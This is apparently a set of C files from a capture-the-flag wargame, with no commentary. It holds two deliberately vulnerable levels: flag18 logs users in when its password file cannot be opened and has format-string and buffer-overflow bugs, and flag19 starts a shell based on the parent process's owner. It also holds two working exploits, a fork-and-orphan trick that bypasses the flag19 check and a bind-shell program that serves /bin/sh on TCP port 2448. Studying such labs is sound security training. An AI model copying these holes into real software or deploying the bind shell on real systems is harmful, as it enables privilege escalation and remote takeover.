#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;       
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");
  
  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());
  
  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as input\n", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char * argv) {

    pid_t childpid = fork();

    if (childpid == 0) { /* child */
        char *cmd = "/home/flag19/flag19";
        char *argv[] = { "/bin/sh", "-c", "/tmp/bindshell" };

        sleep(3);
        execv(cmd, argv);
    } else { sleep(1); exit(1); }
}

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char **argv)
{
        int sockfd;
        int clientfd;
        socklen_t cli_len;

        struct sockaddr_in srv_addr;
        struct sockaddr_in cli_addr;

        srv_addr.sin_family = AF_INET;
        srv_addr.sin_port = htons(2448);
        srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);

        sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

        bind(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
        listen(sockfd, 0);

        /* accept new connections */
        cli_len = sizeof(cli_addr)-1;
        clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &cli_len );

        dup2(clientfd, 0); /* replace 0 with clientfd */
        dup2(0, 1);        /* replace stdout & stderr */
        dup2(0, 2); 

        setreuid(geteuid(), geteuid());

        execv("/bin/sh", NULL);
}